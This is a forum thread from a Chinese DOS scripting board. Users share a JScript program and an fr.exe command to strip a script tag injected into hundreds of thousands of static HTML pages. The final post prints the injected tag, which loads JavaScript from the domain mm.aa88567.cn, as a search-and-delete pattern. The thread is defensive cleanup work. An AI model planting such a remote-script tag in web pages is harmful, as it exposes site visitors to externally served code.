China DOS Union

-- Unite DOS · Advance DOS · Grow DOS --

Union site: www.cn-dos.net Forum site: www.cn-dos.net/forum
DOS stands for freedom, openness and progress. Let us work hard, learn from the openness and GNU spirit of FreeDOS and Linux, and together build and grow a free GNU GPL world!

中国DOS联盟论坛
The time now is 2026-10-02 06:11
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » 30,000 files quick replacement View 3,403 Replies 21
Floor 16 Posted 2010-03-04 21:32 ·  中国 湖北 黄石 电信
中级用户
★★
Credits 330
Posts 244
Joined 2006-04-14 14:07
20-year member
UID 53823
Gender Male
From 湖北
Status Offline
This is okay.
;)

if(WScript.arguments.length==0)PathSpec=get_path();
else PathSpec=WScript.arguments(0);
fso=new ActiveXObject("Scripting.FileSystemObject");
WshShell=WScript.CreateObject("WScript.Shell");
WshShell.CurrentDirectory=fso.GetParentFolderName(WScript.ScriptFullName);
if(!fso.FolderExists("#ReplacedFiles#"))fso.CreateFolder("#ReplacedFiles#");
WshShell.CurrentDirectory="#ReplacedFiles#"
Main(PathSpec);
WScript.quit();

function Main(FileSpec){
var fld,fs,fds,f,fd,curdir;
curdir=fso.GetBaseName(FileSpec);
if(!fso.FolderExists(curdir))fso.CreateFolder(curdir);
curdir=fso.GetAbsolutePathName(curdir);
WshShell.CurrentDirectory=curdir;
fld = fso.getfolder(FileSpec);
fds = new Enumerator(fld.subfolders);
fs = new Enumerator(fld.files)
for(;!fs.atEnd();fs.moveNext()){
f=fs.item();if(f.size==0)continue;
if(/^html?$/gi.test(ext=fso.getextensionname(f.name).toLowerCase())){
try{
var fl=fso.opentextfile(f.path,1);
var sss=fl.readall();
fl.close();
}catch(err){
WScript.quit();
}
var fl=fso.opentextfile(fso.GetBaseName(f.path)+"."+ext,2,true);
sss=sss.replace(/.*mm\.aa88567\.cn.*\s*$/,"");
fl.write(sss);
fl.close();
}
}
for(;!fds.atEnd();fds.moveNext()){
d=fds.item();
Main(d.path)
WshShell.CurrentDirectory=curdir
}
}


function get_path(){
var objShell = new ActiveXObject("Shell.Application")
do{
var objFolder = objShell.BrowseForFolder(0, "Please select a folder:",0x301,0x11)
if(objFolder == null)WScript.quit()
var objPath = objFolder.Self.Path;
if(/^:\\.+$/gi.test(objPath))break;
}while(true)
return objPath;
}



[ Last edited by freeants001 on 2010-3-4 at 22:45 ]
Recent Ratings for This Post ( 1 in total) Click for details
RaterScoreTime
plp626 +15 2010-03-04 23:10
Floor 17 Posted 2010-03-04 22:22 ·  中国 陕西 西安 电信
银牌会员
★★★★
钻石会员
Credits 2,278
Posts 1,020
Joined 2007-11-19 13:34
18-year member
UID 103127
Gender Male
Status Offline
var fl=fso.opentextfile(fso.GetBaseName(f.path)+".html",2,true);

I'm afraid it's not just a matter of changing txt to html; I don't know what the function is to get the suffix of "f.path" in your code. Brother, can you change that red html to it?

Most of these files are htm files, but there are still many html files (as index files)

If all are uniformly changed to html, then the links of those originally htm files will be invalid. When replacing, the file name should be kept the same.

PS: These 300,000 web pages are all files of a static website.

[ Last edited by plp626 on 2010-3-4 at 22:26 ]
山外有山,人外有人;低调做人,努力做事。

进入网盘(各种工具)~~ 空间~~cmd学习
Floor 18 Posted 2010-03-04 22:48 ·  中国 湖北 黄石 电信
中级用户
★★
Credits 330
Posts 244
Joined 2006-04-14 14:07
20-year member
UID 53823
Gender Male
From 湖北
Status Offline
Floor 19 Posted 2010-03-04 22:55 ·  中国 陕西 西安 电信
银牌会员
★★★★
钻石会员
Credits 2,278
Posts 1,020
Joined 2007-11-19 13:34
18-year member
UID 103127
Gender Male
Status Offline
I tested it. The code on floor 16 only replaces the files with the .html extension in the test directory, but the .htm files are not replaced. Why is that? The test files were generated with the code on floor 1.
山外有山,人外有人;低调做人,努力做事。

进入网盘(各种工具)~~ 空间~~cmd学习
Floor 20 Posted 2010-03-04 23:01 ·  中国 湖北 黄石 电信
中级用户
★★
Credits 330
Posts 244
Joined 2006-04-14 14:07
20-year member
UID 53823
Gender Male
From 湖北
Status Offline
Originally posted by plp626 at 2010-3-4 22:55:
I tested, the code on floor 16 only replaces files with the .html extension in the test directory, and files with .htm extension are not replaced. Why is that? The test file was generated with the code from floor 1.


No way, it worked for me here.
Floor 21 Posted 2010-03-04 23:28 ·  中国 陕西 西安 电信
银牌会员
★★★★
钻石会员
Credits 2,278
Posts 1,020
Joined 2007-11-19 13:34
18-year member
UID 103127
Gender Male
Status Offline
The code on floor 16 is correct, it's my problem.

I tried to run it. Replacing more than 200,000 files with over 8,000 files took nearly 8 minutes (if replacing 10,000 files took less than 1 minute, I don't know why). It seems it will be 30*8=240 minutes, oh, that's 4 hours, which is half of the time spent downloading at that time.

[ Last edited by plp626 on 2010-3-4 at 23:39 ]
山外有山,人外有人;低调做人,努力做事。

进入网盘(各种工具)~~ 空间~~cmd学习
Floor 22 Posted 2010-05-20 13:20 ·  中国 陕西 西安 电信
银牌会员
★★★★
钻石会员
Credits 2,278
Posts 1,020
Joined 2007-11-19 13:34
18-year member
UID 103127
Gender Male
Status Offline
There is a third - party tool like this on my computer, which can be directly replaced. The Baibaiang works collection - fr.exe downloaded a long time ago, and the speed is very fast. I tested it and it was all replaced in about 10 minutes.

fr *.htm* -s -f:"<scr<script language=javascript src=http://mm.aa88567.cn/index/mm.js></script>" -t:""
山外有山,人外有人;低调做人,努力做事。

进入网盘(各种工具)~~ 空间~~cmd学习
Forum Jump: